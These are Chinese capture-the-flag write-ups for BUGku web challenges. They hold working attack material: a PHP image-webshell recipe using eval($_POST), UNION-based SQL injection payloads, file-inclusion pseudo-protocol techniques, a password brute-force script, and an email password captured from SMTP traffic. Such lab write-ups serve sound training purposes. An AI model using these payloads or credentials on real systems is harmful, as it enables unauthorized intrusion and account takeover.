BUGku CTF-POST
打開發現PHP代碼 需要POST傳參獲取一個flag
使用burp來抓包改為POST傳參what=flag 讓他輸出flag
改為POST 然后 what=flag 成功獲得
BUGku CTF-矛盾
PHP一個數字和一個字符串進行比較或者進行運算時,PHP會把字符串轉換成數字再進行比較,PHP轉換的規則的是:若字符串以數字開頭,則取開頭數字作為轉換結果,若無則輸出0。
在PHP中,== 會先進行類型轉換,再進行對比,而===會先比較類型,如果類型不同直接返回不相等。
這題考的是弱類型 解題思路/?num=1) || True
if=($num==1) 意思就是num等於數字1就會打印flag 但是is_numeric函數檢測數字
細心的話會注意到可以在1后面加個字符串這樣就可以滿足判斷 num=1"a" // ""字符串里面可以輸入隨便英語 這樣flag就出來了
我們在后面加一個字符串 加一個a 即可輸出flag
BUGku CTF-alert
打開頁面一直彈JS alert頁面
然后我們禁用js 查看網站源碼 可以看到一堆亂碼 可以看得出可能是被編碼了
禁用JS F12查看源碼看到了一串編碼
unicode轉碼一下 拿到flag
BUGku CTF-你必須讓他停下
打開靶場發現一直彈出圖片
我們這里利用burp抓包來一個個抓放包
這里抓到了大量數據包 我們發送到 重放模塊模擬發送
通過幾次發送放包 我們拿到了隱藏在里面的flag
BUGku CTF-社工初步收集
打開網站是一個刷鑽的頁面
我們隨便點點 可以找到一個壓縮包 ,不會逆向所以我們這里抓取wireshark
SMTP是一種提供可靠且有效的電子郵件傳輸的協議。SMTP是建立在FTP文件傳輸服務上的一種郵件服務,主要用於系統之間的郵件信息傳遞,並提供有關來信的通知。SMTP獨立於特定的傳輸子系統,且只需要可靠有序的數據流信道支持,SMTP的重要特性之一是其能跨越網絡傳輸郵件,即“SMTP郵件中繼”。使用SMTP,可實現相同網絡處理進程之間的郵件傳輸,也可通過中繼器或網關實現某處理進程與其他網絡之間的郵件傳輸.
這里還是需要記一下 查漏補缺 遇到什么就記錄什么這里
我們先掛着御劍先掃描網站一下
我們發現用wireshark 抓取SMTP 協議 可以發現他的郵箱號
發現了他的郵箱
發現他的PASS,第一反應是密碼 我們解密一下
bugkuku@163.com,XSLROCPMNWWZQDZL
通過wireshark 抓取到了 兩個信息
我們用御劍掃描的時候分析到了 后台地址我們第一反應也是用賬號密碼進行登錄 我們先試試
好吧不對,那我們思路就是錯的,后台不對,我們登錄郵箱來試試呀!
成功登陸
可惡啊全是他們搞得垃圾郵箱
電腦登錄Foxmail 來緩存之前被刪除的 而且看的很明白
置頂文件發現了密碼 mara是他名字 暫時不知道有什么用 20010206 后台密碼
進去后台頁面
這里發現了flag
BUGku CTF-本地管理員
打開頁面 然后發現是一個登錄框 常規思路先打開F12看一看等號結尾 很可能是base64加密了 我們來解密

test123 應該是賬號或者密碼 沒有找到其他信息 我們嘗試弱口令常規密碼賬號登錄一下
發現IP被拉進黑名單了 我們聽說過偽造IP
X-Forwarded-For 是一個 HTTP 擴展頭部。HTTP/1.1(RFC 2616)協議並沒有對它的定義,它最開始是由 Squid 這個緩存代理軟件引入,用來表示 HTTP 請求端真實 IP。如今它已經成為事實上的標准,被各大 HTTP 代理、負載均衡等轉發服務廣泛使用,並被寫入 RFC 7239(Forwarded HTTP Extension)標准之中。
X-Forwarded-For 請求頭格式非常簡單,就這樣:
X-Forwarded-For: 127.0.0.1
所以通過xff我們可以達到偽造IP來構造IP請求數據包
成功拿到flag
BUGku CTF-bp
根據題目我們可以猜到應該是要爆破
知道了賬號 只爆破密碼
這里我就不給圖片了 我爆破了 十萬個密碼都不對
通過觀察響應包里面的內容,我們發現錯誤包里面都會返回一個JavaScript代碼告知我們的密碼有錯誤。
因此我們通過Burpsuite的 (Grep – Match 在響應中找出存在指定的內容的一項。)
都一樣
然后發現每次都返回一個js的響應包
過濾掉存在JavaScript代碼中的{code: 'bugku10000'}的數據包。
再來嘗試一下
發現一個沒打鈎 很特殊的
z開頭的 很符合題目的提示 我們來試試吧
OK拿到flag
BUGku CTF-eval
在代碼中先是通過include包含了flag.php
REQUEST['hello']來獲取用戶傳給服務器的hello參數
var_dump()會將傳入的變量打印到頁面,eval()會執行傳入到其中的php代碼,eval("var_dump($a);")就是把$a的內容打印出來
思路:給hello賦值,執行后會將變量的類型和內容打印出來,可以使用file()函數先將flag.php的內容存入數組,然后這個數組會被var_dump()和eval()函數輸出到頁面
用法:
我們來構造pyloads 來試試
成功用file函數 將flag 以數組的方式打印出來
BUGku CTF-變量1
打開提示 flag在變量里面
搜一下 代碼里出現的函數
發現是關閉錯誤報告 的意思
highlight_file ()函數
<?php
error_reporting(0);// 關閉php錯誤顯示
include "flag1.php";// 引入flag1.php文件代碼
highlight_file(__file__);
if(isset($_GET['args'])){// 通過get方式傳遞 args變量才能執行if里面的代碼
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){// 這個正則表達式的意思是匹配任意 [A-Za-z0-9_] 的字符,就是任意大小寫字母和0到9以及下划線組成
die("args error!");
}
eval("var_dump($$args);");// 這邊告訴我們這題是代碼審計的題目
}
?>
args=flag1.php 這樣提交也不對因為正則了字母字符以及下划線
最后一句話
eval(var_dump($$args));
有兩個$符號,這里可以做個小小的例子:可以簡單理解,把這個東西想象成二級指針。
如果$a='hello',$hello=world,那么$$a=world。
所以在做替換的時候,如果args=flag,那么最后的結果就是eval(var_dump($flag);
也難怪系統輸出了null。
這里涉及到了全局變量
$GLOBALS
$GLOBALS — 引用全局作用域中可用的全部變量
范例
https://www.php.net/manual/zh/re
served.variables.globals.php
那么我們構造一下提交
BUGku CTF-頭等艙
啥也沒有 就很奇怪 可能隱藏在數據包或者HTML 代碼里?
常規看代碼沒有 抓個包試試
發現flag
BUGku CTF-game1
打開玩一玩 我竟然忘了我要做題了
這是分數?
我們解密后發現
怎么解碼不出來 看了WP發現不需要解碼zm 也沒說是為什么
然后我們修改Score=4000 然后吧bese64編碼4000
提交了發現flag
BUGku CTF-社工偽造
首先這題啟動環境,發現需要輸入QQ,嘗試各種掃后台,查看網
頁內容都沒有收獲;
於是查看大佬博客發現,用自己的QQ登錄發現,小美
要用他男朋友QQ登錄才能詢問消息,
於是網上搜索他男朋友昵稱:小bug
登錄得到flag
這道題 腦洞很大 QQ能搜到很多他男朋友的QQ找一找登錄 試試 flag 我就不寫全過程了
BUGku CTF-source
這道題墨跡了很久 看了下wp發現是.git文件泄露
我們用gobuster 跑了一下發現了/.git/目錄
gobuster dir -u http://114.67.246.176:10491/ -w /usr/share/wordlists/dirb/common.txt
wget -r http://114.67.246.176:10491/.git
遞歸下載網站泄露的.git文件以及文件夾
git reflog
我們查看執行的命令日志
git show
一個個看 我看wp還可以用
git show commit_id 命令查看commit 我是一個一個解出來的
里面有很多假flag
BUGku CTF-源代碼
打開
讓查看源代碼 我們看一看
看到了一串編碼?
unescape() 函數可對通過 escape() 編碼的字符串進行解碼。
根據 代碼分析后是
P1加%35%34%61%61%32加p2
function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;
我們吧這個67d709b2b54aa2aa648cf6e87a7114f1 提交到框框
得到真實flag
BUGku CTF-文件包含
什么是文件包含漏洞
通過PHP函數引入文件時,傳入的文件名沒有經過合理的驗證,從而操作了預想之外的文件,就可能導致意外的文件泄漏甚至惡意代碼注入。
文件包含漏洞的環境要求
- allow_url_fopen=On(默認為On) 規定是否允許從遠程服務器或者網站檢索數據
- allow_url_include=On(php5.2之后默認為Off) 規定是否允許include/require遠程文件
常見文件包含函數
php中常見的文件包含函數有以下四種:
- include()
- require()
- include_once()
- require_once()
include與require基本是相同的,除了錯誤處理方面:
- include(),只生成警告(E_WARNING),並且腳本會繼續
- require(),會生成致命錯誤(E_COMPILE_ERROR)並停止腳本
- include_once()與require_once(),如果文件已包含,則不會包含,其他特性如上
PHP偽協議
1.php://input可以訪問請求的原始數據的只讀流,將post請求的數據當作php代碼執行。當傳入的參數作為文件名打開時,可以將參數設為php://input,同時post想設置的文件內容,php執行時會將post內容當作文件內容。從而導致任意代碼執行
2.php://filter可以獲取指定文件源碼。當它與包含函數結合時,php://filter流會被當作php文件執行。所以我們一般對其進行編碼,讓其不執行。從而導致 任意文件讀取。
3.zip://可以訪問壓縮包里面的文件。當它與包含函數結合時,zip://流會被當作php文件執行。從而實現任意代碼執行。
4.data://與phar://類似與php://input,可以讓用戶來控制輸入流,當它與包含函數結合時,用戶輸入的data://流會被當作php文件執行。從而導致任意代碼執行。
5.包含Apache日志文件WEB服務器一般會將用戶的訪問記錄保存在訪問日志中。那么我們可以根據日志記錄的內容,精心構造請求,把PHP代碼插入到日志文件中,通過文件包含漏洞來執行日志中的PHP代碼。
6.包含SESSION可以先根據嘗試包含到SESSION文件,在根據文件內容尋找可控變量,在構造payload插入到文件中,最后包含即可。
利用條件:
- 找到Session內的可控變量
- Session文件可讀寫,並且知道存儲路徑
session常見存儲路徑:
- /var/lib/php/sess_PHPSESSID
- /var/lib/php/sess_PHPSESSID
- /tmp/sess_PHPSESSID
- /tmp/sessions/sess_PHPSESSID
- session文件格式: sess_[phpsessid] ,而 phpsessid 在發送的請求的 cookie 字段中可以看到。
7.包含/pros/self/environ proc/self/environ中會保存user-agent頭,如果在user-agent中插入php代碼,則php代碼會被寫入到environ中,之后再包含它,即可。
利用條件:
- php以cgi方式運行,這樣environ才會保持UA頭。
- environ文件存儲位置已知,且environ文件可讀。
8.包含臨時文件
php中上傳文件,會創建臨時文件。在linux下使用/tmp目錄,而在windows下使用c:\winsdows\temp目錄。在臨時文件被刪除之前,利用競爭即可包含該臨時文件。
由於包含需要知道包含的文件名。一種方法是進行暴力猜解,linux下使用的隨機函數有缺陷,而window下只有65535中不同的文件名,所以這個方法是可行的。
另一種方法是配合phpinfo頁面的php variables,可以直接獲取到上傳文件的存儲路徑和臨時文件名,直接包含即可
9.包含上傳文件
很多網站通常會提供文件上傳功能,比如:上傳頭像、文檔等,這時就可以采取上傳一句話圖片木馬的方式進行包含。
圖片馬的制作方式如下,在cmd控制台下輸入:
進入1.jph和2.php的文件目錄后,執行:
copy 1.jpg/b+2.php 3.jpg
將圖片1.jpg和包含php代碼的2.php文件合並生成圖片馬3.jpg
假設已經上傳一句話圖片木馬到服務器,路徑為
upload/65212.jpg
圖片代碼如下:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST['pass']);?>")?>
然后訪問URL:http://www.xxxx.com/index.php?page=./upload/201811.jpg包含這張圖片,將會在index.php所在的目錄下生成`shell.php
用這個 讀出來了一串像base64的一串加密? 解密后看到源碼<html>
<title>Bugku-web</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{e65afee46dc020757f5199a8f2a27288}
?>
</html>
可以看到flag
這里可以去看一看文件包含和 php文件偽協議 在實戰中也經常出現
BUGku CTF-好像需要密碼?
打開發現 可能是爆破 ? burp爆破了發現很慢
我們也不會腳本 這里利用網上現成的
import requests
def ssh():
url = "http://114.67.246.176:18966/"
for pwd in range(10000,100000):
pwd = str(pwd)
r = requests.post(url, data={'pwd': pwd})
r.encoding = 'utf-8'
r_text = r.text
judge = "密碼不正確,請重新輸入"
if (judge in r.text):
print("嘗試密碼:{},反應狀態碼:{},密碼錯誤.".format(pwd, r))
else:
print("嘗試密碼:{},反應狀態碼:{},密碼正確.".format(pwd, r))
print("爆破完成")
break
ssh()
成功爆破
提交拿到flag
BUGku CTF-備份是個好習慣
打開網站發現 是一串加密 解密后發現提示為NULL
這里的題目是備份 應該是要看備份文件的
然后用后來看了看WP才知道有個index.php.bak的備份文件,打開后發現是PHP源碼,里面進行了參數過濾和if的驗證,直接kekey1y[]=1&kekey2y[]=2繞過,得到flag!
BUGku CTF-cookies
打開網站發現是一串英文字母
發現是filename 的傳參 文件時用base64加密的 我們解密一下
解密后發現加密文件為keys.txt
然后發現是可以讀取文件的 我們這里讀取index.php文件試一試?
吧index.php加密后 aW5kZXgucGhw 提交后發現 頁面空了?
我們用WP給的python 代碼 來跑一下
拿到了
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
//header函數重定向到初始頁面 headers(“location:path”)
$file_list = array(//array 創建一個數組
'0' =>'keys.txt',//數組元素1
'1' =>'index.php',//數組元素2
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
//檢測cookie是否為margin=margin
$file_list[2]='keys.php';//如果是這樣那么向file_list數組中加入一個新元素keys.php
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
從php代碼中可以看出來,我們需要將keys.php這段字符串Base64加密
a2V5cy5waHA=
然后將其作為filename的值,還要構造Cookie: margin=margin這個Cookie頭
一共有17行,
從第三行開始解釋
首先用了一個條件運算符?:
對filename和line進行一個檢測
第五行如果filename為空,
那么通過headers函數重定向到初始頁面
headers(“location:path”)
第六行創建一個數組共有2個元素
第十行就是和該題目相關的,
檢測cookie是否設置,且是否設置為margin=margin
如果是這樣那么向file_list數組中加入一個新元素keys.php
顯然flag在這里面啊,那就簡單了
//a2V5cy50eHQ= keys.txt
//a2V5cy5waHA= keys.php
base64.decode(keys.php)=a2V5cy5waHA=
第一步構造url:
http://114.67.246.176:13254/index.php?line=&filename=a2V5cy5waHA=
第二步在bp里面修改cookie
把原來的cookie刪除
that’s ok
至於13行下面就是關於一行一行輸出文件內容的代碼啦
in_array是判斷鍵值是否在數組中
file函數是將文件分割一行一行的,並且按照數組儲存
構造payload
BUGku CTF-never_give_up
打開發現
發現啥都沒有 我們 F12看一看 發現了一個 1p.html
我們訪問試一試
訪問后 跳轉到buu的 主頁 然后還是得看
view-source 這種協議 可以查看網頁的源碼
然后我們來試一試
也就是右鍵查看源代碼
var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
然后我們看到了 一串加密
我們發現是 base64的加密
var Words ="<script>window.location.href='http://www.bugku.com';</script>
<!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
解密后又感覺 像unicode 編碼
我們繼續解密
var Words ="<script>window.location.href='http://www.bugku.com';</script>
<!--%22%3Bif%28%21%24_GET%5B%27id%27%5D%29%0A%7B%0A%09header%28%27Location%3A%20hello.php%3Fid%3D1%27%29%3B%0A%09exit%28%29%3B%0A%7D%0A%24id%3D%24_GET%5B%27id%27%5D%3B%0A%24a%3D%24_GET%5B%27a%27%5D%3B%0A%24b%3D%24_GET%5B%27b%27%5D%3B%0Aif%28stripos%28%24a%2C%27.%27%29%29%0A%7B%0A%09echo%20%27no%20no%20no%20no%20no%20no%20no%27%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20@file_get_contents%28%24a%2C%27r%27%29%3B%0Aif%28%24data%3D%3D%22bugku%20is%20a%20nice%20plateform%21%22%20and%20%24id%3D%3D0%20and%20strlen%28%24b%29%3E5%20and%20eregi%28%22111%22.substr%28%24b%2C0%2C1%29%2C%221114%22%29%20and%20substr%28%24b%2C0%2C1%29%21%3D4%29%0A%7B%0A%09require%28%22f4l2a3g.txt%22%29%3B%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20%21%21%21%22%3B%0A%7D%0A%0A%0A%3F%3E
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
再次解密
var Words ="<script>window.location.href='http://www.bugku.com';</script>
<!--";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
直接訪問這個f4l2a3g.txt文件
好像還可以利用input去 拿到flag 各位自己去試
BUGku CTF-學生成績 查詢
應該是 注入 是一個表單 要提交所以應該是POST注入
我們用burp或者hackbaer 來進行注入
id=1 and 1=2 正常
id=1‘ 報錯 字符型 POST注入
我們來 進行order by 來看列數
到5的時候 沒有了 說明只有四列
我們用union查詢 查詢數據庫 database()
id=-1' union select 1,2,3,database() #
查詢到庫為:skctf
id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
查詢到表名為:fl4g,sc
id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='skctf' and table_name='fl4g.sc'#
然后查他的列名:skctf_flag
id=-1'union select 1,2,3,skctf_flag from fl4g#
查詢到flag